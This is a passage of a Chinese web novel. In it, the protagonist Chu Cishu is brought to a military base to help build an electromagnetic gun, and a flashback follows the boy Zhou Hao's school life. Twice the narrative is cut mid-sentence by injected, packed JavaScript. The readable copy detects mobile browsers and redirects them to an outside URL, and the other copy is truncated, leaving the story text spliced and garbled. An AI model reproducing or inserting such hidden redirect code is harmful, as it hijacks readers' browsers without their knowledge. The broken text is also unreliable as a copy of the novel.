楚辞舟明知故问:“哦?请问约翰逊先生要实验室做什么呢?” 约翰逊道:“是这样的,我抢到……买到了一份样品,如果能够立即开始实验,相信一定会对我们的学科有所帮助才是。” 他这番话,看似道貌岸然,实则并非没有自己的小算盘。目前国际上有关“钅庄”的文献太少,如果他们实验室能够抢在全世界的学者之前对其进行实验并有所发现,到时候必定博得更多关注。 当然,这些小心思并不违反道德,反而可以促进科学发展,楚辞舟也并非是那种自己吃肉别人连汤都不给喝的学术霸王,点了点头,对他道:“我们楚氏的实验基地刚刚落成,既然约翰逊先生需要的话,我可以让人帮你安排一个空闲实验室。至于费用,你就和这位艾达女士协商吧。” 这天下午,许多学者受邀在楚氏的实验基地进行参观。 然而,让他们惊讶的是,除了意料之中的东方面孔之外,实验室里竟然还有约翰逊这老小子的存在。 眼见约翰逊要到了实验室,其他的学者心思也逐渐开始活泛。找楚氏借用实验室的人越来越多,大鼻子黄头发的“老外专家”成了这两天里华城钢铁厂工人们茶余饭后、闲聊攀谈时的一道有趣的风景线。 三天的发布会结束后,楚辞舟给闭关中的周昊渊发了条微信。 他早就已经想这么做了,只是一直没拿出像样的成绩来,如今终于有了超导这一利器证明实力,那么自穿来起就已经在心里定好的计划便可以实施了。 微信: 将欲行:【周总,怎么样,我的投名状如何?】 消息发出去后,那边应该是有些忙碌,消息直到凌晨才回过来。 临渊羡鱼:【楚总世无其二,在下心悦诚服。】 彼时楚辞舟还没睡,看见消息嘻嘻一笑。 将欲行:【既然如此,我这么厉害,那周总有没有兴趣和我联手,铸造一款独步天下的兵器出来?】 这次消息没再回过来。 两分钟后,手机振动起来。 楚辞舟欣然接通:“喂,周总。” 意外地,那边周昊渊久违的声音听起来竟有些亲切。 “楚总想和我做什么?” 嗯,就是内容上有些让人误解。 楚辞舟清清嗓子,坐起身来。 有些话说得对,谈正事还是需要有一个正经的姿势。 楚辞舟道:“周总有兴趣就好。具体的项目内容和基本构想我已经做好了,想找个时间和周总具体交流一下,就是不知道周总什么时候有时间?” 周昊渊略显低沉的声音从电话那端传来:“能与楚总合作,我当然求之不得,但我手头还有项目这边正在攻坚阶段,恐怕还需要一段时间才能告一段落。但如果,楚总不嫌弃的话……下午到我办公室来谈?” 17. 第 17 章 话是这么说了,但这次周昊渊的“办公室”,好像,有点…… 坐上军用直升机的时候,楚辞舟感觉,自己这次提出合作的时机,是不是好像有点……呃……不太凑巧? 因为原书里男二受伤后的这段时间,反派也随之销声匿迹,因此楚辞舟没办法通过原著推测出对方的动向,还以为对方这次的任务和往常一样,就在华城。 本来都已经上车了,忽然发现不知道对方的办公室在哪。发了条消息过去,询问定位,那边却回复了一条:【不急,有人来接。】 楚辞舟没去追究这两个词的深层涵义,他以为“办公室”就是实验室,“有人”,应该指的就是司机。然而,来接他的根本就不是什么司机,而是一名英姿飒爽的年轻军官。 对方往那一站,身姿笔挺,肩膀上明晃晃的一杠三星,看得楚辞舟愣在原地几秒,才确定这名上尉的确是来接自己的。 一路上,对方的态度还挺热情,和他聊了一些有关军-械、特种钢材等等方面的内容,有些问得还挺专业。楚辞舟以对方的年龄和军衔猜测,对方可能出身军-械研究所一类的科研单位。 直升机是不会像电视剧里那样直接停在目的地的,需要在固定的飞机场下机,转乘汽车。 楚辞舟也不知道自己飞了多远,总之他们落在了一个小县城的停机场,下了飞机后,又坐上军用吉普。 吉普车越开离县城越远,最后索性扎进了一片丘陵地带。 颠颠簸簸数十分钟,眼前终于出现了一个有持枪哨兵站岗的部队大院。 楚辞舟一路上都在思考着这到底是怎么个事儿,怎么就把他拉到部队来了? 他倒是知道反派的研究和国防工业有关,可怎么就把他也拉来了?涉不涉密的问题先不说,关键反派虽然牛逼,但并不是现役军官啊,哪来的权限调动直升机? 正想着,就见哨岗过后,一人拉开车门坐了上来。 正是周昊渊。 那个来接楚辞舟的上尉不开玩笑,是真的经过特殊军事训练的,说起话来滴水不漏。一路上聊得虽好,可谈话间却只有他问楚辞舟的份,楚辞舟问他什么,人家愣是守口如瓶的,搞得人心里猜测愈深。 如今总算见到了个能说上话的,楚辞舟满肚子的疑问终于找到突破口,一时间不由得笑逐颜开:“总算是见到周总了,您老人家这‘办公室’,挺远啊!” 周昊渊这次换了军装,依旧是从上到下严丝合缝。不过值得一提的是,他穿军装的身姿着实挺拔好看,甚至比他穿西装还精神,只不过肩上没有肩章,是空的。 周昊渊看向他,冷沉的眸色带了些许柔和:“楚总辛苦了。其实是昨晚接电话时首长恰巧在场,听说是你,执意要见见。” 原来如此! 楚辞舟就说嘛。 “首长要见我?”楚辞舟一听,连忙对着后视镜理了理衣领,“是哪位首长?这都要见面了,周总好歹给透个底呗,我也好歹做做心理准备。” “是总装的首长,正巧昨天过来视察进度的。”周昊渊说。 总装,总装备部。华夏人民解放军军-委一共四个机关,总参、总政、总后、总装,掌管全军军事、政治、后勤、装备工作。总装首长的话,可以说是相当高级别的首长了。 可看他那副镇定自若的样子…… 想来也是,反派和部队合作这么多年,为国家研发了那么多新式装备,铸剑谱上怎么都是排得上号的。 再加上这几年国际形势日益复杂的情况,以及中央对部队装备发展的重视,这样的大首长下来视察,对他来说只怕也是稀松平常的事了。 好吧。 或许是受了对方的影响,楚辞舟也逐渐镇定下来。 其实他也没什么好怕的,他只是一个平头老百姓,对于这种级别的首长,虽然难得一见,但人家有原则有纪律,是绝对不可能为难他的。 更何况,既然是人家首长指名要见他,那想必他在人家面前也是挂得上号的。就是不知道挂的是什么号,印象是好是坏了。 一行人来到办公室,上尉向办公桌后坐着的人打了个立正,报告道:“报告部长,人已经带到,请您指示。” 这当然就是传说中的总装首长了。 楚辞舟两辈子见过的学者没有一万也有八千,但军人却是不多,尤其是这种级别的大佬,颇有些肃然起敬的意思。 谁知人家半点不摆架子,看见他二人进来,和蔼地招了招手。 楚辞舟没有部队编制,便放弃了敬礼的想法,恭恭敬敬地喊了一句首长好。对方听完,笑了起来:“你就是楚辞舟?” 楚辞舟笑道:“是的,我就是楚辞舟。” “嗯,很不错。”首长莫名其妙地开口夸了他一句,随和道,“行了,别都站着,坐下说话。” 坐下之前,楚辞舟在大脑里头脑风暴了一下,从路上上尉和他讨论的话题到首长刚才看他那仿佛在看刚栽下的小树苗般慈爱的眼神,因此,当对方真正开口表明自己的真实意图的时候,他已经猜了个八-九不离十。 对方道:“我看了楚氏的发布会,最近引起震动的超导金属‘钅庄’就是你们发现的,对吧。” 楚辞舟更加确定了刚才的想法,笑道:“是的首长,我们的金属钅庄,目前已经具备了量产能力,国家也已经批准生产,很快便会正式进入市场了。” “嗯。”对方赞许道,“年轻人就该敢想敢干。有了超导,国家的未来指日可期。” 又道:“我们现在要做一件突破性的大事,但缺少一种能够达到要求的核心材料。而且据我所知,目前全世界范围内都没有能够达到要求的这种材料。也就是说,我们遇到了巨大的瓶颈。小楚,我听小周说过你这一年以来的表现,也感谢你们团队对国家的贡献。只是,我想知道,对于我们的难题,你有没有这个本事解决?” 楚辞舟听完,便知道进入主题了。他敛了笑容,严肃起来:“首长既然提了,我自然是要全力以赴的。就是不知道,具体有些什么样的要求?” 首长点了点头,看他的眼神中透露着欣赏。 “行,那就出发吧。”说着,他率先站起来,带头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在座的都是现役军人,服从是军人的天性。老首长发火了,他们当然只能乖乖的,尽管心里嘀咕,但绝对没有一个敢造次的。于是这时,周昊渊和楚辞舟作为地方闲散人员的优势就体现出来。 总装首长“嗯”了一声,露出个神秘的笑容,大马金刀地分众而入,在主位上坐下,冲周昊渊挥了挥手:“行了,小周,你给他们都介绍介绍,看我把谁给他们带来了。” 咦,果然来新人了! 众人闻言都伸长了脖子。 周昊渊随即转身看了楚辞舟一眼,示意对方跟着自己进来:“这位就是楚氏化工的负责人,楚辞舟。” 听见这个名字,会议室里哄的一下,再次热闹起来。 “楚辞舟?你就是那个楚辞舟?”一年轻军官问道。 楚辞舟温和一笑:“是的,我就是那个楚辞舟。” 年轻军官惊讶了一声,从人群里挤了过来:“太好了,楚辞舟,想不到你也会来!你是老首长请来的吗?” 离得近,总装首长很快注意到他,哼了一声。 年轻军官立刻换了副溜须拍马的神色:“老首长!我就知道您最关心我们!有您出马,咱们的这次的研究进程至少缩短一年!不,五年!” 这话老首长爱听:“行,这话我记住了,是你小刘说的!研究进程不能缩短五年,我唯你小刘是问。” 小刘哈哈一笑,吐了吐舌头。 眼看大家的兴奋劲儿差不多都调动起来了,总装首长拍了拍桌子:“好了好了,都别吵了,赶紧说事。小周,你来。” 18. 第 18 章 直到图纸展现在眼前,楚辞舟这才知道书里反派失踪的这五年都在忙些什么。 电磁-炮,之所以从漂亮国-军-方机构1916年提出这个概念开始,整整研究了一个多世纪,最终还是在2022年完全中止了对这个项目的开发(甚至有消息称就连苏联的解体都与之有关),是因为这项听起来十分高大上的新型“黑科技”,自其诞生之日起就已经携带了两个致命的、几乎无法攻克的缺点。 首先,材料上,它需要突破现有的材料桎梏,达到短时间内所需的超高功率。 相比于传统通过发射-药在弹壳内爆炸产生的压缩空气推动炮-弹的方式,电磁-炮使用电能发射炮-弹,这也就要求发电机组的瞬时功率更高。再加上攒积能量期间,轨道和电刷之间会产生严重的电离作用,产生大量的等离子体,严重考验炮体本身对高温高频的耐受性。 其次,精确度上,它需要攻克高速弹药的精确度问题。 1.电磁-炮初速高,那么炮-弹的空气阻力就高,大部分的能量浪费在空气阻力上,同时产生大量的热量。 2.电磁-炮射程远,任何一个环节出现干扰,都会对精度的影响很大。因此,如果需要达到精准命中的效果,他们就不能只是发射炮-弹,而是要在炮-弹上装备精确制导系统,而电磁-炮本身产生的干扰对精确制导系统的影响很大。 周昊渊道:“可以看出,以上无论哪一个问题,都需要一种超越时代的材料才能得以解决,这也是为什么全球范围内的武器专家都普遍认为这款武器华而不实,至少还需要再发展个几十年,待到人类技术取得重大突破时,才能够真正投入战争使用的原因所在。” 总装首长拍案道:“放他娘的狗屁!哪一项工作不是人做出来的?人不行怪路不平,怕难怕苦的不是华夏人!什么时代限制,咱们当初连台大型计算机都没有,不照样靠手敲算盘把原子-弹算出来?咱们华夏人就是要明知不可为而为之!” “是!” 一提到先辈们当年的事迹,在场一个个将士都激红了眼。 没错,华夏人就是要明知不可为而为之!时代限制?那就突破时代好了!既然总有人要站上时代的顶峰,那么为什么就不能是咱们华夏人? 楚辞舟站在人群里,仿佛看到了身边是汇聚成大海的一片片星辰。 该项目由国防科工委牵头,国防科学技术委员会参谋长为组长,副参谋长李昌伟为常务副组长兼总设计师,周昊渊、楚辞舟任副总设计师,主抓电磁-炮项目的具体研制工作。 入组以来,楚辞舟就完全忘记了一开始什么挣钱的誓言,直接恢复了从前的天性,整个人泡在了实验室里,连回华城的时间都没有了,楚氏不得不暂时托付给老爸。 “爸,这段时间拜托你了,让您老人家重新出山真不好意思。”楚辞舟对电话那边的老爸说。 楚怀瑾倒是想得开:“儿子,你只管去,老爸给你稳定大后方。” 这么好的老爸,楚辞舟歉意之余,只能加倍努力,争取早日让他重新过上退休后的美好生活。 闲话少说,关于材料这块,楚辞舟主要还是准备改变思路,从新能源下手——比如孙老他们团队的储氢电池就是很好的思路。 自超导材料发现以来,孙老他们团队在储氢材料方面,也得到了新的灵感,有了新的突破。听说楚辞舟要改进电磁-炮,这位从特殊年代走来,一辈子讲求无私奉献的老人立刻毫无保留地将所有原始资料都递送了过来。 “这算什么?只要国家需要,老头子这辈子不就是活这一件事吗?” 楚辞舟调皮又认真地道:“是,向您学习。” 说完笑着挂断电话,将刚拿到的资料公开给材料研究所的众人。 刘家豪看了一眼,立刻摇头道:“储氢材料?我们先前已经考虑过了。这个一方面携带麻烦,另一方面,电压恐怕也达不到预期……” 刘家豪就是那天和总装首长开玩笑的年轻军官,国防科工委下属材料研究所的研究员,年纪比楚辞舟还小些,除了性格上跳脱些,也算得上是材料方面的顶尖人才。 楚辞舟点头认同:“现有的设计电压肯定不行。不过,既然现在已经有了常温超导,我倒是有一个不成熟的想法——如果能够配上合适的瞬压器,相信结果会完全不一样。” “瞬压器?”一个完全没听过的名词,刘家豪道,“你说的是瞬变电压那个瞬压?” 楚辞舟笑道:“哈哈,是。确实不好意思,是我刚想到的新名词。” 上辈子也是这样,他经常发明一些“乱七八糟”的新名词,在学界掀起一片骂声之后,紧接着又会有无数人开始跟风模仿。 “储氢、蓄能、瞬压、超导……说不定真的可行……” 楚辞舟和他们说着说着话就开始自言自语。 他一伸手,就近抓到一支笔,也不管是不是自己的,就开始在纸上写写画画。 都是做这行的,大家充分理解这种无物无我的“超神”状态,旁边的人见喊不应他,索性便由得他去。 而楚辞舟也确实没让他们失望,六个月后,氢能超导瞬压电机实验成功,第一个技术难点突破。 “楚辞舟!我就知道你可以!” “牛啊!储氢材料竟然还能这样用!这样一来,就完全克服了电压不够的问题!周昊渊那小子吹得没错,你tnd还真是个天才!” “是啊!划时代的天才!!!赶紧上报首长!告诉他这个好消息!!!” 与此同时,收到这个消息的总装备部。 “什么?才半年时间就解决了?!”得到这个消息的时候,总参谋部部长正好在总装备部串门,听到这个消息,根本坐不住,拍案道,“老余,你这回找的这个姓楚的小朋友,难道比咱们部队正经培养的还厉害?” 人是老余挖来的,听见旁人夸他就和夸自己似的。 总装部长得意之余,哼道:“怎么,老贺,就许你部队出人才,不许地方上出人才啊?你就没听过一句话,高手在民间?” 总参谋部部长气哼哼拍桌:“不行,我得去看看!” 于是被某位首长惦记上的楚辞舟就这么被两位豪迈的首长重点“关爱”了一番,喝得第二天没爬起来。 第三天,醒过来的楚辞舟痛定思痛,决定戒烟戒酒,开始向下一步——炮身的耐受性和可靠性进发。 “老楚啊,要不……咱们今天就先到这儿吧?再这么熬下去可不是办法!”刘家豪推开椅子,闭着眼头疼地按着太阳穴,“你都已经连续熬了好几天大夜了!” 虽然加班熬夜是部队机关的传统保留项目,但你说这新来的老楚,是不是也太能熬了? 他这是要抢自己材料所小卷王的名号啊!!! “是啊,先回去休息吧,剩下的明天再说。你这脑子要是熬坏了,我这个总负责人可没办法跟老首长交代。”李昌伟也站了起来。 李昌伟就是此次工作组的副组长兼总设计师,四十来岁,也是个拼起来不要命的,三个不要命的凑一起,结果就是一天比一天晚,加到现在已经是天昏地暗,不知今夕何夕。 都不轻松,楚辞舟就算不心疼自己,也得替别人考虑考虑,于是站起来,三人一块回宿舍去。 李昌伟是有家室的人,通常都回家属大院,但加班太晚怕吵着孩子就直接住宿舍了,轮休的时候才回去。 楚辞舟和刘家豪都是单身狗,倒是无所谓几点回去。 三人一路上讨论着工作的事,路过楼下新装的24小时贩卖机时,楚辞舟对二人道:“你们先走,我买点东西。” 贩卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589345|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机是最近才装的,方便官兵随时补充能量。 楚辞舟打开柜子,犹豫一下,还是买了两罐菠萝味啤酒。“就喝这一次。”他自言自语似的说着,脚下却转了个方向,没回宿舍,而是朝着另外一间还亮着灯的实验室走去。 实验室里空荡荡的,只有一个人影静静地伫立在图纸前。 周昊渊习惯将图纸挂在什么地方,自己远远地看,像是在欣赏一幅画,又像在总览全局。 楚辞舟不知道他这么看图纸是不是能更有灵感,只觉得实验室的灯光惨白惨白的,打在这人身上,让他整个人看起来比半年前又瘦了一些。 楚辞舟叩了叩门,笑道:“周总很拼命啊,在家是排行老三吗?” 他当然知道周家就周昊渊一个,不过开个玩笑罢了。 谁在笑他拼命三郎?周昊渊从全神贯注的状态中抽离出来,瞧见是他,不耐的神色柔和了些。 他站在那里,目视着眼前的人由远及近,带着一贯的微风和笑意而来。 “楚总来了。最近不是很受瞩目嘛,多少人想和你见见,目睹目睹真人风采,楚总倒还记得起我这个无名小卒?”他紧紧地盯着人,心口不一地道。 “说什么呢?一股子酸味。我受瞩目,周总作为伯乐,不也该与有荣焉?” 楚辞舟佯装不悦地板了板脸,劈头就丢过来一件东西。周昊渊下意识接了,定睛一看,是菠啤。 楚辞舟打开手里的罐子,笑道:“来吧,让我也收买收买周总,毕竟接下来的项目还得仰仗周总提携呢。来,走一个。” 对于他的收买周昊渊并不拒绝,接过易拉罐打开,在空中和他碰了碰,冰凉的罐体上滴落几滴水汽。 楚辞舟抿了一口菠啤,在他旁边找了个不远不近的位置坐下来,抬眼便是那一堆高高低低的图纸。 他算是看出来了,论起对工作的疯魔程度,眼前这位比他只多不少。和第一次见面的时候相比,这人如今消瘦得厉害,嘴唇青紫,眼下发黑,有种形销骨立的惨白。 心脏不好还熬夜,难怪原文里不到三十岁就没了。 楚辞舟记得原文剧情里,反派死在女主带着四岁的天才儿子回归的那年,也就是四年之后:“行了别熬了,回去休息会儿吧。” 这么熬下去,估计都不需要女主刺激他,他自己就能把自己弄噶了。 周昊渊摇头:“时间紧任务重,我想……” 楚辞舟打断他:“不,你不想。喝完这罐赶紧跟我回宿舍休息了。” 周昊渊眨了眨眼,黑沉沉的眼眸里似乎蕴含了些菠萝味的水汽。 他没有顺着楚辞舟的话题应承下来,而是转移话题道:“难得见到楚总如此强势的一面。” 不正面回答,这就是拒绝的意思了。 楚辞舟叹了口气,努力暗示:“周总这么透支自己,就不怕短命吗?” 周昊渊听见这两个字,却忽然神色定定地看向了他,眉宇间不知怎的竟有些隐隐的悲惨之色。 他凑得太近了,甚至鼻端都已经闻见了他呼吸中菠萝的清香和迷离的酒气。实在太近了,一种怪异的感觉从耳根蔓延到整个神经,楚辞舟不自在地缩了缩,下意识地退开了一些。 然而就是这退半步的动作,像是打击到了对方,周昊渊没再动作,而是叹了口气,不知是在问楚辞舟还是在自言自语地低喃:“楚总这么好心,救了那么多人,为什么……就不能救救我啊?” ——“楚辞舟,你那么好心,你救了那么多人,为什么就不能救救我啊?” 同样的逻辑,同样的疯劲儿。 楚辞舟忽然有种被什么东西砸中的感觉。口干舌燥,头晕眼花。 眼前清瘦苍白得好似要形销骨立般的人影,终于和另外一个本应该八竿子打不着的人影逐渐重叠在了一起。 19. 第 19 章 ——“啊啊啊啊楚辞舟你骗人!你欺负小孩儿!” ——“我今天就是要死在这里!我要让所有人都知道,你、你是个见死不救的杀人犯!” ——“楚辞舟,你那么好心,那么多人你都能救,为什么就不能救救我啊?” “………………” 明明已经晚上十一点,按照周浩以往的作息,这个时间他应该早就已经在家里的大床上睡着了,可现在,躺在客厅沙发上的周浩却根本睡不着。 因为一闭上眼,他脑海中回荡的就是自己前两天的离谱发言。 ——救命!!!!! 他到底在说什么!这个中二病的傻逼绝对不是他!他怎么可能这么白痴!!! 周浩越想越觉得羞耻,崩溃挠头,抓墙,用幻想出来的匕首扎胸,喷血,在沙发上滚来滚去,简直恨不得掐死几天前那个大脑短路,口出狂言的自己。 折腾了一阵儿,小孩儿旺盛的精力条被耗空见底,周浩长出口气,爬起来,朝整个房子唯一的房间走去。 老板提供的这间老式筒子楼只有一室一厅,但板式结构,坐北朝南,采光透气。 周浩没有开灯,蹑手蹑脚推开门。 因为喜欢新鲜的空气,所以楚辞舟房间的窗户并没有关。夜风拂来,将月光慷慨地洒在了睡着的人身上,银色的绸缎一般,勾勒出流畅修长的弧度。 床下点了一盘蚊香,因为门刚刚才被打开的原因,烟气的味道还没散去,重重地笼罩着整个房间,有些呛人,但周浩却无端感觉到一丝安心。 黑暗中传来一声问话:“干嘛?还不睡觉。” 语调中是浓浓的倦意。 周浩吓了一跳,没想到他今天居然还没睡着,“啊”了一声:“我、我就是睡不着……你、你累吗?要不我给你捏捏。” 楚辞舟半梦半醒似的“嗯”了一声,半晌没反应。 周浩以为他睡着了,试探地碰了碰他,叫了一声。楚辞舟听见声音,勉强睁了睁眼,“唔”地翻了个身,将肌肉匀称的手臂亮给他:“捏吧,正好胳膊有点酸。” 每天搬那么多牛奶,不酸才是奇怪了。 周浩又生出些愧意。 要不是当初他强行碰瓷,楚辞舟是不至于这么累的。 他一边用力地揉捏,一边小心地开口:“要不,我……我还是不读书了吧……” “……” 黑暗中,楚辞舟蓦然清醒的声音清晰地传来:“你说什么?” 楚辞舟的脾气实在太好了,好像出了什么事都不会真的着急。 除了认识的第一天,这还是周浩第一次察觉到他真的火气。他心里一跳,一时语塞道:“我……” 楚辞舟没有别的动作,周浩只听见他平静的声音:“周浩,同样的话你敢再说一次,小心你的皮。” …… 楚辞舟早就看过周浩的成绩,很好。 捡他回来的那天,之所以没有再赶他走,不是因为被这小子口里所谓的“救了他一命”说动了,而是因为这小子即便是嘴里喊着要去死,却也从始至终一直没舍得扔下他那只满是泥巴的、脏兮兮的小书包。 ——是个有救的。 楚辞舟后来也趁周浩睡着打开那只被他自己认认真真刷干净晾晒过的小书包看过,习题本上全是整整齐齐的红勾和A+不说,他甚至翻出了几本费曼的课外书——要知道费曼的物理他在高中才逐渐开始感兴趣,这小子分明就是个读书的苗子!!! 听说他不想读书,楚辞舟做事都着急上火,短短两天,嘴里就急出两个大燎泡子。 直到一个月后,学校教务处主任突然给他打来了电话。 …… 周浩在学校里还是被欺负。 但他不打算告诉楚辞舟,只是也不再寻死。 这天,周浩向学校提出了跳级申请。 跳级这件事情需要监护人同意,周浩入学时填的监护人是爸妈,爸妈出事后联系不上,他就主动找校方变更了联系人,于是就变成了楚辞舟被教务处主任一个电话请来了学校。 能在学校看到那个身影,周浩很高兴。 这一整天脸上的笑容灿烂得都快收不住,看得那几个找他麻烦的同班男同学牙根痒痒的。 下课时,楚辞舟来找他谈话。 “你想跳到五年级?”楚辞舟问他。 “嗯。”周浩道。 “但老师说你年纪太小,上五年级不合适,劝我让你留在四年级。”楚辞舟说。 这个理由,其实很合理。 四年级后学生身体发育迅速,的确不适合身体瘦弱的周浩。 “行。”周浩无可无不可。 反正他提出跳级也不是真的为了学习。只是为了在全校老师的眼里挂个号而已。 连跳三级,成为老师们眼里的重点保护对象,这样一来,他看谁还敢动他。 当然,这之后,的确没有人再动他了,不过却不是因为他成了老师们的重点保护对象,而是因为有人出手收拾了那帮跟踪他放学的臭小子。 周浩身上的淤青,楚辞舟可没忘。 他早就想腾出手来收拾这帮干坏事的小子,只不过一直没机会,今天却刚好得空撞上。 这帮小兔崽子居然还喊了高年级的同学,看样子是要给周浩一个狠的。 楚辞舟长腿一迈,就把打头的臭小子轻松提溜了起来。 这小子大概是六年级的,有一米五多,在小学生里已经属于是相当出类拔萃的身高了。 被楚辞舟一米八二送牛奶的铁腕拎起来时,这小子毒蛇吐信般的眼神瞬间清澈了不少:“大、大哥,有话好说!别打人!” 后来,这小子就成了周浩的“义务守护员”,周浩放学的时候看见过他几次,每次都是带着几个小弟远远地跟着,对上他的视线就立刻冲他立正呲牙,眼神清澈无辜又单纯。 “???这人有病?” 周浩被这号称校霸五人组的一脸憨憨的样子弄得实在有些摸不着头脑,自言自语一句,摇了摇头,捏着肩膀上的书包带子走远了。 · 周浩感觉,自己绝大部分时候都是理智的。 除了隔壁家内傻大妞跑来献殷勤的时候。 楚辞舟每个月可以休息四天。 而每次楚辞舟一休息,隔壁的温莹莹就和装了雷达天线似的,不是送饺子就是送汤圆的,弄得周浩无端烦躁。 他想说姐姐你的目的不要太明显好吗? 平时不见你来,人一休息你就跑来打卡!要不是还有自己这个电灯泡在,你俩孤男寡女共处一室,还不得给你乐坏了啊? 周浩绝对不允许楚辞舟这么快就给他找个嫂子。 楚辞舟才几岁?他还有大把的光阴要挥霍呢!怎么能这么快就被女人给套死了! 只要温莹莹一来,周浩就心烦。他一心烦,就要在他们四周晃来晃去。一会儿缠着楚辞舟讲题,一会儿又假装看动画片把电视声音开得贼大,绝对不给他俩讲话和培养感情的时间。 但是,就算他已经尽力在捣乱了,人家姑娘百折不挠锲而不舍,周浩也没有任何办法。 这天,温莹莹抱了盆白色的月季花进来,说是送给楚辞舟,报答他上次的救命之恩。 她很会养花,在天台上种了很多月季,见这盆开得又大又好,她就想着给人送过来。 楚辞舟其实也喜欢养花,但他养得不好,养啥死啥,看到这么漂亮的月季,很是喜欢。 他问:“这品种叫什么?好漂亮。” 温莹莹笑道:“这叫白雪山,是雪山系列的经典品种,花大,皮实,唯一一个缺点是没有香味。” 周浩在旁边看得直撇嘴。 什么月季,这就是玫瑰!别以为他不知道,月季就是所谓的玫瑰,观赏用的,自己那个所谓的“家”里种了一大片。反而所谓玫瑰,才是用来食用的品种,在云南被做成鲜花饼,在超市被做成茶包—— 所以她这是想晃点谁? 楚辞舟很高兴地收下了那盆月季花,放在窗台上天天欣赏着。 那盆花花期还挺长,一朵谢了一朵又开,开了足足有半个月,气得周浩每天都手痒地想往里浇开水。 周浩在学校门口花十块钱买了一颗水仙。 就放在月季旁边。 哼哼,月季有什么好的,课本里都说了,水仙才是绝美好吗! 楚辞舟回来看见了,也很稀奇,并表示了对它开花的期待。 周浩哼哼两声,抱着手昂着头,尾巴要翘上天。 ——反正肯定比你那个月季更仙更好看! 再后来,“水仙”当着三双眼睛的面,明晃晃地抽出了一根—— 蒜薹。 楚辞舟看见,忍不住莞尔:“正好,今天老板说店里缺点大蒜,等明天我给他带去,能炒整整一盘。” 温莹莹也忍不住捧腹:“没事的小浩,姐姐明天带你去花鸟市场,咱们以后不在学校门口买了,啊。” 周浩绷着张高傲的小脸,在心里痛骂黑心商家,从此对于养花一事,只字不提。 …… 自从楚辞舟开始送牛奶,兄弟俩的生活逐渐宽裕。 但周浩还是很心疼那十块钱,发誓要找机会把这钱赚回来。 然而还不等他出手,楚辞舟已经先他一步开始行动。 他和老板商议了一下,双方各出五千块钱启动资金,在小炒店门口又顶风开了家烧烤摊。 周浩听完大惊失色:“五千块?!你哪来的五千块?!!!你、你去偷了?” 他明明记得自己第一天认识楚辞舟的时候,对方还是个连七百块都要数上两三遍才放心的穷鬼,现在怎么就……他买彩票了? 楚辞舟笑他:“你以为我是你?” 他是个很有计划的人,不像周浩一样花钱大手大脚没个谱。 他的食宿是老板包的,周浩的午饭在学校解决,晚饭在老板店里吃,至于早餐的牛奶和鸡蛋就稍微贵点,牛奶是员工价拿的,五毛一瓶,鸡蛋一板三十个,菜市场卖十五块,买来自己煮煮,随便吃吃就能对付过去。 唯一稍微大一点的开支就是菜市场买的十八块钱任选的衣服裤子,他和周浩一人买了两套,花了七十多块钱。 至于进账,送牛奶的两个月赚了三千多,加上老板娘心疼他未成年还带个孩子,给他涨了两百块工资,再加上第一个月的七百,现在他已经攒下了接近六千块,拉上老板搞个烧烤摊再合适不过。 老板斌哥一开始怕工商查到会罚款怎么都不同意,后来经不起楚辞舟忽悠,例如什么小炒店暑假没客源,再这么耗下去也是天天亏本,例如什么赚钱五五开、罚款他来付,最后也还是忍不住了,被楚辞舟拉下了海。 其实烧烤摊的成本并不高,大概也就七八千而已,楚辞舟一个人再攒攒也能自己单干。 但是他到底和旁人不同,他是逃债出来的,身上还背着四百多万的外债,多浪费一天,就多一天被债主找到的风险。 早一天赚到钱,他就能早一天还上款,不管还多还少,至少让债主知道这钱他还打算还。 至于读书……他暂时是不想了,倒是周浩还有希望,只要他能在周浩上初中前买到房子。 但就算买了房子,也不能挂他的名,挂他的分分钟就能被法院执行……最主要的还是要看看,到时候能不能挂周浩的名字。 楚辞舟盘算着,就这么好说歹说地把烧烤摊支棱起来了。 其实做烧烤,老板斌哥早就有过这个想法,只是一直担心工商消防找麻烦,一直不敢。在楚辞舟的怂恿下,这次斌哥算是豁出去了,索性又多花了五万块去老家拜师学了手艺,花的钱比整个烧烤摊的成本都多。 不过人家斌哥两口子愣是没让他出这个钱,生意也答应了五五分账,前提是罚款按照一开始商量好的由楚辞舟承担。 后来楚辞舟考进华夏科学院后回来看过斌哥两口子几次,分几次给人家孩子包了十多万的学费。 他开玩笑地问斌哥,当时到底是怎么想的? 罚款什么的,很明显就是个随机事件,更何况人家管理部门现在也都讲究人性执法,还真不一定就会罚,可“五五分账”却是实打实的,每天下来的盈利,都要当场点数再分一半给他,为什么这么明显的吃亏生意,他们当初却答应了? 斌哥笑嘻嘻地说:“为啥子?很明显撒!哥哥早逗看出来了,你和我们不一样,你不得是长期干这个事情的人。你逗是那个…那个啥子锦鲤,一时遭了些难处。” 楚辞舟:“锦鲤?” 斌哥理直气壮:“啊。逗是锦鲤。一遇风云逗化龙的那个锦鲤。” 老板娘笑他:“别个那个叫金鳞!你才是锦鲤,你全家都是锦鲤,灭文化,宝批龙!” 烧烤摊的生意意外地很是红火。 好吃是一回事,主要还是楚辞舟这么一个182的大帅哥,水灵灵地往那一站,立刻就有了不一样的卖点,吸引来不少女顾客。上到四十大姨,下到十四学生,现在名声都在这两个群体当中传开了,说是四川小炒这边有个颇具姿色的烧烤帅哥。 为这事儿,周浩有点儿危机感。 他现在之所以能赖在楚辞舟家里,完全是因为对方过于泛滥的责任感。 可万一哪天楚辞舟谈了个漂亮的女朋友,对方嫌弃他这个拖油瓶,那楚辞舟为了对女朋友的责任,还不得马上给他扫地出门? 周浩借口要在店里写作业,实则在楚辞舟周围转来转去,赶走那些好奇的女孩。 退!退!退!漂亮姑娘快快退!急急如律令! 看他无所事事,楚辞舟问他:“作业写完了?” 周浩:“嗯。在学校就写完了。” 说完又发现不对,大惊失色。他本来就是用写作业的借口才得以赖在店里的,这下好了,连个借口都被他蠢没了! 